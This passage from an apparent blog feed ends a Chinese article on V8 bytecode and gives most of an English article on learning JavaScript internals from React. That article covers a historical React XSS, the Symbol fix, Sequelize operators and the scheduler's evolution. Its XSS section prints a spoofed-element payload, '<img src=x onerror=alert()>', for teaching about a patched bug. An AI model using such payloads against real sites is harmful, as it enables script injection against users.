number">0x31bb2f7df77a</span> @    <span class="token number">4</span> <span class="token operator">:</span> c3                Star1   <span class="token number">62</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77b</span> @    <span class="token number">5</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">00</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>   <span class="token number">73</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77f</span> @    <span class="token number">9</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df781</span> @   <span class="token number">11</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df782</span> @   <span class="token number">12</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">00</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df784</span> @   <span class="token number">14</span> <span class="token operator">:</span> c3                Star1   <span class="token number">73</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df785</span> @   <span class="token number">15</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">02</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>   <span class="token number">85</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df789</span> @   <span class="token number">19</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78b</span> @   <span class="token number">21</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df78c</span> @   <span class="token number">22</span> <span class="token operator">:</span> 0d <span class="token number">03</span>             LdaSmi <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78e</span> @   <span class="token number">24</span> <span class="token operator">:</span> c3                Star1   <span class="token number">85</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df78f</span> @   <span class="token number">25</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">04</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span>   <span class="token number">96</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df793</span> @   <span class="token number">29</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df795</span> @   <span class="token number">31</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df796</span> @   <span class="token number">32</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">01</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df798</span> @   <span class="token number">34</span> <span class="token operator">:</span> c3                Star1   <span class="token number">96</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df799</span> @   <span class="token number">35</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">06</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df79d</span> @   <span class="token number">39</span> <span class="token operator">:</span> 0e                LdaUndefined  <span class="token number">114</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df79e</span> @   <span class="token number">40</span> <span class="token operator">:</span> a9                ReturnConstant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span>Handler <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span>Source Position <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df7a1</span> <span class="token operator">&lt;</span>ByteArray<span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到 3 就是直接 <code>LdaSmi</code>，代表是 Smi，而 -0 跟 NaN 是 <code>LdaConstant</code>，從 constant pool 載入進來，而這個 constant pool 裡面則寫著：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Constant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>很明顯可以看到這兩個都是 heap number，不屬於 Smi。</p><p>如果從理論上的角度來看也行啦，NaN 不能是 Smi，是因為 NaN 本來就是 IEEE 754 裡面定義的東西，而 -0 需要那個負號，這個在 int 中也沒有，所以也只能是個 double。</p><p>但總之呢，未來若是碰到這個底層型別的疑惑，可以編譯成 bytecode 之後確認，一目瞭然。</p><h2><span id="總結">總結</span></h2><p>這篇文章中我們從 React 原始碼中學到不少東西，分別是：</p><ol><li>Symbol 的用途，可以利用沒辦法反序列化的特性，來保證外界沒辦法構造出來</li><li>各種非同步函式如 <code>requestIdleCallback</code>、<code>requestAnimationFrame</code>、<code>MessageChannel</code> 與 <code>setTimeout</code> 的觸發時機以及特性，還有 React 底層是怎麼安排 task 的。</li><li>在規格上看來所有 JavaScript 的數字都是 64bit double，但在 V8 底層其實還是有分 Smi 跟 double，可以用 bytecode 來確認型別。</li></ol><p>以上內容都來自於我自己寫的<a href="https://www.tenlong.com.tw/products/9786267757048">《JavaScript 重修就好》</a>這本書，書中還有提到更多有趣的案例，像是 Vue 又是怎麼實作非同步的，它的 <code>nextTick</code> 背後用的又是哪個函式？或是 IEEE 754 還定義了哪些東西，數字在使用時需要注意什麼地方等等。</p><p>如果有興趣的話可以找來看看，有什麼問題或建議都可以透過<a href="https://www.facebook.com/huli.blog">臉書粉專</a>聯絡我。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子去 &lt;a href=&quot;https://2025.jsdc.tw/&quot;&gt;JSDC&lt;/a&gt; 的線上前導活動分享了這個主題，想說既然都分享了，不如就寫篇文章好了。這篇文章的靈感來源以及內容其實都是來自於&lt;a href=&quot;https://www.tenlong.com.tw/products/9786267757048&quot;&gt;《JavaScript 重修就好》&lt;/a&gt;。當初寫書的時候就有參考 React 原始碼中的一些東西，這篇只是把原本分散在書中的各個 React 相關章節整理起來重寫一遍。&lt;/p&gt;
&lt;p&gt;我覺得從這些開源專案的程式碼中學一些新的概念滿有趣的，畢竟這些很多人用的框架通常碰過的 bug 也越多，學到這些問題的解法以後，也可以再回去反思以前自己學過的東西。&lt;/p&gt;
&lt;p&gt;這篇分成三個小章節：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;React 舊版的 XSS&lt;/li&gt;
&lt;li&gt;從 React Fiber 學習 event loop&lt;/li&gt;
&lt;li&gt;從 V8 bug 學習底層運作&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;開頭先聲明一下，雖然標題叫做「從 React 中學習 JavaScript 底層運作」，只有最後一個比較底層，第一個更是與底層沒什麼關係。只是我沒想到比這個更好的標題，因此就用這個了。&lt;/p&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>Learning the Core of JavaScript from React</title>
    <link href="https://blog.huli.tw/2025/11/16/en/learn-advanced-javascript-from-react/"/>
    <id>https://blog.huli.tw/2025/11/16/en/learn-advanced-javascript-from-react/</id>
    <published>2025-11-15T22:32:08.000Z</published>
    <updated>2025-11-16T08:21:56.423Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I shared this topic at the online pre-event of <a href="https://2025.jsdc.tw/">JSDC</a>. Since I already shared it, I thought it would be good to write an article. The inspiration and content of this article actually come from <a href="https://www.tenlong.com.tw/products/9786267757048">“JavaScript Relearning”</a> (only available in Chinese). When I wrote the book, I referenced some elements from the React source code, and this article is just a reorganization and rewriting of the various React-related chapters that were originally scattered throughout the book.</p><p>I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.</p><p>This article is divided into three small sections:</p><ol><li>XSS Vulnerabilities in Older Versions of React</li><li>Learning the Event Loop from React Fiber</li><li>Learning Underlying Mechanics from V8 Bugs</li></ol><span id="more"></span><h2><span id="xss-vulnerabilities-in-older-versions-of-react">XSS Vulnerabilities in Older Versions of React</span></h2><p>What security issues can you find in the following code?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>    <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"text-red"</span><span class="token operator">></span>      <span class="token operator">&lt;</span>h1<span class="token operator">></span><span class="token punctuation">&#123;</span>name<span class="token punctuation">&#125;</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span>    <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>At first glance, it seems there’s no problem, right? Isn’t it just rendering a name? In React, it automatically encodes, so even if an <code>&lt;img&gt;</code> is inserted, it won’t be parsed as a tag but will be converted to plain text, which seems fine.</p><p>If we continue to expand this code, transforming JSX into JavaScript, it would look something like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">createElement</span><span class="token punctuation">(</span>    <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token function">createElement</span><span class="token punctuation">(</span>      <span class="token string">'h1'</span><span class="token punctuation">,</span>      <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      name    <span class="token punctuation">)</span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>JSX syntax is converted back to JavaScript during compilation. The old version uses <code>React.createElement</code>, while the new version has changed to <code>_jsx</code>, but regardless of how the API looks, it’s essentially a piece of JavaScript that creates an element.</p><p>After these functions are executed, they produce what is known as the virtual DOM. If we expand it into an object, it would look like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span><span class="token punctuation">,</span>      <span class="token literal-property property">children</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'h1'</span><span class="token punctuation">,</span>        <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>          <span class="token literal-property property">children</span><span class="token operator">:</span> name        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When React renders, it will render based on this object and display the name we passed in.</p><p>But the problem arises: libraries like <code>qs</code> actually support objects. For example, <code>?name[test]=1</code> would make name become <code>&#123;&quot;test&quot;: 1&#125;</code>. Therefore, although this name should appear to be a string, it can actually be an object.</p><p>Even though passing objects is usually blocked by React, have you ever thought that these components are also objects? So how does React determine whether an object is a component?</p><p>In older versions of React, this check is very simple:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">ReactElement<span class="token punctuation">.</span><span class="token function-variable function">isValidElement</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span><span class="token punctuation">(</span>    <span class="token keyword">typeof</span> object <span class="token operator">===</span> <span class="token string">'object'</span> <span class="token operator">&amp;&amp;</span>    object <span class="token operator">!==</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span>    <span class="token string">'type'</span> <span class="token keyword">in</span> object <span class="token operator">&amp;&amp;</span>    <span class="token string">'props'</span> <span class="token keyword">in</span> object  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>As long as there is a type and props, it is considered a React component. Therefore, if our name looks like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"div"</span><span class="token punctuation">,</span>  <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">dangerouslySetInnerHTML</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">__html</span><span class="token operator">:</span> <span class="token string">"&lt;img src=x onerror=alert()>"</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It would be treated as a React component and rendered accordingly.</p><p>In this way, this feature is successfully exploited to pretend to be a React component and render arbitrary HTML, creating an XSS vulnerability.</p><p>This vulnerability was first discovered by Daniel LeCheminan in 2015, who wrote an article: <a href="http://danlec.com/blog/xss-via-a-spoofed-react-element">XSS via a spoofed React element</a>, although the context in the original text is slightly different.</p><p>In summary, this issue caught React’s attention, leading to a discussion in an issue: <a href="https://github.com/facebook/react/issues/3473">How Much XSS Vulnerability Protection is React Responsible For? #3473</a>, and the final fix can be found here: <a href="https://github.com/facebook/react/pull/4832">Use a Symbol to tag every ReactElement #4832</a>.</p><p>The solution is: Symbol.</p><p>By adding a <code>$$typeof: Symbol.for(&#39;react.element&#39;)</code> to the React component and including this check in <code>isValidElement</code>, we can ensure that other objects cannot forge a React component.</p><p>The underlying principle is the characteristic of symbols; unlike regular objects, a symbol is only equal to the same symbol, and JSON deserialization does not support symbols. Therefore, you can only create ordinary objects and cannot create a symbol, which naturally prevents the forgery of components.</p><p>In the future, if someone asks you where symbols can be used, you can use this case as an answer.</p><p>Additionally, this is not only applicable to the frontend; the backend is the same. For example, in older versions of JavaScript ORM: <a href="https://sequelize.org/">Sequelize</a>, operators were also represented as strings, such as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token string-property property">'$or'</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>However, starting from v5, they have all been replaced with symbols, and the original strings have been deprecated:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token punctuation">&#123;</span> Op <span class="token punctuation">&#125;</span> <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'sequelize'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token punctuation">[</span>Op<span class="token punctuation">.</span>or<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// operators.ts</span><span class="token keyword">export</span> <span class="token keyword">const</span> <span class="token literal-property property">Op</span><span class="token operator">:</span> OpTypes <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token literal-property property">eq</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'eq'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">ne</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'ne'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">gte</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'gte'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">or</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'or'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token comment">// [...]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The underlying reason is the same, which is a consideration for information security. The original PR can be found here: <a href="https://github.com/sequelize/sequelize/pull/8240">Secure operators #8240</a>.</p><p>By the way, during a live stream, someone asked, if you can create a symbol, does that mean these defenses are useless? The answer is: yes. But usually, to create a symbol, either you already have the ability to execute code, or the developer needs to add a deserializer that can create symbols, both of which are quite difficult to achieve.</p><h2><span id="learning-event-loop-from-react-fiber">Learning Event Loop from React Fiber</span></h2><p>In 2018, I wrote an article related to React Fiber: <a href="https://blog.huli.tw/2018/03/31/en/react-fiber-and-lifecycles/">A Brief Discussion on React Fiber and Its Impact on Lifecycles</a>, and the mechanism can be summed up as: “breaking large synchronous tasks into multiple asynchronous small tasks” to avoid blocking the main thread.</p><p>So how can this mechanism be implemented in JavaScript? How should these asynchronous tasks be scheduled?</p><h3><span id="react-1600-requestidlecallback">React 16.0.0 - requestIdleCallback</span></h3><p>In the earliest version of React 16.0.0, it used the browser’s built-in API: requestIdleCallback. The MDN description is:</p><blockquote><p>The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.</p></blockquote><p>After breaking the original large task into smaller tasks, <code>requestIdleCallback</code> is used to schedule the next task, allowing the browser to execute it when idle, thus not blocking the main thread.</p><h3><span id="react-1640-requestanimationframe-postmessage">React 16.4.0 - requestAnimationFrame + postMessage</span></h3><p>However, in React 16.4.0, it was replaced with a combination of <code>requestAnimationFrame</code> (hereafter referred to as rAF) and <code>postMessage</code> (this method was initially intended as a fallback for when <code>requestIdleCallback</code> was not available, but in this version, it was promoted and directly replaced <code>requestIdleCallback</code>).</p><p>In this mechanism, two types of callbacks are created: one is a callback scheduled using rAF, which is automatically triggered by the browser, and the other is a callback scheduled using <code>window.addEventListener(&#39;message&#39;, fn)</code>, triggered through <code>window.postMessage</code>.</p><p>The actual operation of this mechanism works like this: each tick below represents one event loop. We first schedule an rAF, and within it, calculate the time when the next rAF should be triggered (which is the current time + frame length, e.g., 16ms):</p><p><img src="/img/learn-advanced-javascript-from-react/p1.png" alt="rAF"></p><p>Next, call rAF and postMessage again inside to schedule the callback for the next tick:</p><p><img src="/img/learn-advanced-javascript-from-react/p2.png" alt="rAF + postMessage"></p><p>The next step is browser render. After it finishes, it enters the next tick, and then the message handler is triggered:</p><p><img src="/img/learn-advanced-javascript-from-react/p3.png" alt="message handler"></p><p>Since the time for the next rAF to be triggered has already been calculated, the message handler can take advantage of this time (which could be around 5ms or longer) to perform tasks, executing small tasks continuously before the time is up.</p><p>After execution, rAF will be triggered again, doing the same thing as before, scheduling the callback for the next tick, and then browser render, ending this tick:</p><p><img src="/img/learn-advanced-javascript-from-react/p4.png" alt="tick over"></p><p>This process continues to execute, which is the entire asynchronous task scheduling mechanism. In simple terms, it is:</p><ol><li>Calculate how much time can be spent executing tasks without interfering with rendering in rAF.</li><li>Execute tasks as much as possible in the message handler.</li></ol><p>In the React source code, rAF is referred to as Animation Tick, while the message handler is called Idle Tick.</p><p>So why use postMessage and message handler? The reason is that if you use <code>setTimeout(fn, 0)</code>, there is a classic 4ms limitation. If you keep using setTimeout to schedule tasks, after a few recursive arrangements, the shortest execution interval will become 4ms, regardless of how much you set the interval.</p><p>On the other hand, postMessage and message handler do not have this limitation, which is why this approach was chosen.</p><p>However, there is a downside to using the message handler, which is that the current usage is <code>window.addEventListener(&#39;message&#39;, fn)</code>, so every time a task is scheduled, <code>window.postMessage</code> must be used. If there are other listeners on the page, it will be triggered repeatedly.</p><p>For example, some extensions might print out all received messages to help with debugging, potentially receiving one every 30ms, which could flood the logs. Such side-effect behavior is clearly not ideal and can interfere with other implementations.</p><h3><span id="react-1670-requestanimationframe-messagechannel">React 16.7.0 - requestAnimationFrame + MessageChannel</span></h3><p>Starting from React 16.7.0, this part was changed to use MessageChannel, which is another Web API for message exchange. Its usage is quite similar to the original, just with the added concept of a port:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// DOM and Worker environments.</span><span class="token comment">// We prefer MessageChannel because of the 4ms setTimeout clamping.</span><span class="token keyword">const</span> channel <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MessageChannel</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> port <span class="token operator">=</span> channel<span class="token punctuation">.</span>port2<span class="token punctuation">;</span>channel<span class="token punctuation">.</span>port1<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> performWorkUntilDeadline<span class="token punctuation">;</span><span class="token function-variable function">schedulePerformWorkUntilDeadline</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  port<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>In the comments of the code, you can also see why React does not use setTimeout, which is the same reason I just mentioned. The PR for this change is here: <a href="https://github.com/facebook/react/pull/14234">[scheduler] Post to MessageChannel instead of window #14234</a>.</p><p>It seems like that’s it? This mechanism is quite reasonable, using two different types of asynchronous tasks to do different things while trying to perform tasks without interfering with rendering.</p><h3><span id="react-16120-messagechannel">React 16.12.0 - MessageChannel</span></h3><p>However, in React 16.12.0, the mechanism changed again, removing rAF and leaving only MessageChannel, executing for a maximum of 5ms each time:</p><p><img src="/img/learn-advanced-javascript-from-react/p5.png" alt="message channel"></p><p>So why switch to this mechanism? There are two places that explain it. The first is the <a href="https://github.com/facebook/react/blob/v16.12.0/packages/scheduler/src/forks/SchedulerHostConfig.default.js">code</a> in 16.12.0:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Scheduler periodically yields in case there is other work on the main</span><span class="token comment">// thread, like user events. By default, it yields multiple times per frame.</span><span class="token comment">// It does not attempt to align with frame boundaries, since most tasks don't</span><span class="token comment">// need to be frame aligned; for those that do, use requestAnimationFrame.</span><span class="token keyword">let</span> yieldInterval <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The main idea is that since the task does not need to align with the rendering of the screen, it ignores rendering and just keeps yielding.</p><p>The second explanation is from the issue <a href="https://github.com/facebook/react/issues/21662">Concurrency &#x2F; time-slicing by default #21662</a>, where someone asked if the scheduler was still using <code>requestIdleCallback</code>. Dan’s comment was:</p><blockquote><p>No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.</p></blockquote><p>This clarifies why <code>requestIdleCallback</code> was eliminated at the beginning, because it fired too late.</p><p>So how is the implementation in the latest version v19.2.0?</p><p>From the <a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/Scheduler.js">code</a>, it can be seen that it is basically the same mechanism as above, with not much change. It still uses MessageChannel to schedule tasks and yields every so often.</p><h3><span id="in-the-near-future-native-scheduler-api">In the Near Future: Native Scheduler API</span></h3><p>In fact, the Scheduler is not just for React; it is used whenever asynchronous task scheduling is needed. Therefore, browsers actually provide a native <a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler">Scheduler API</a>, but it is still new and not well supported. However, it can be anticipated that in the future, there may be no need to write a custom implementation, as using the native browser API would be the best option.</p><p>In fact, React is 